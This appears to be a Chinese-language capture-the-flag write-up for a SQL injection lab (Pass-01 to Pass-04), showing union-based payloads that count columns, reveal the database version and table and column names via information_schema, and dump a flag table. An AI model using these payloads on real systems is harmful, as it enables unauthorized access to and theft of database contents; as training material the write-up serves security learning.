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判断注入类型

传送门：如何判断注入类型

id=1 and 1=1//有回显
id=1 and 1=2// No results found 

判断为数字型注入

判断有几列

id=1 order by 3 //有回显
id=1 order by 4 // No results found 

判断有三列

判断回显点

id=1 and 1=2 union select 1,2,3
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name：2
pwd：3
因为union，所以前面要置错，让后面的查询语句回显。
select直接加数字串时，那么它输出的内容就是我们select后的数字

爆出数据库名，和数据库版本号

id=1 and 1=2 union select 1,version(),database()

version()=5.6.47
database()=error

爆出表名

id=1 and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='error'

table()=erroe_flag，user

爆字段名

id=1 and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='error_
flag'

爆字段值

id=1 and 1=2 union select 1,2,group_concat(id,flag) from error_flag
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判断注入类型

id=1 and 1=1//有回显
id=1 and 1=2//有回显

字符型注入

判断有几列

id=1' order by 3--+//有回显
id=1' order by 4--+// No results found 

传送门：关于 --+的说明

有三列

判断回显点

id=1' and 1=2 union select 1,2,3--+

爆数据库名和数据库版本号
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id=1' and 1=2 union select 1,version(),database()--+

后续操作同Pass-01

Pass-03

把 '和 )闭合即可

Pass-04

闭合 "和 )即可
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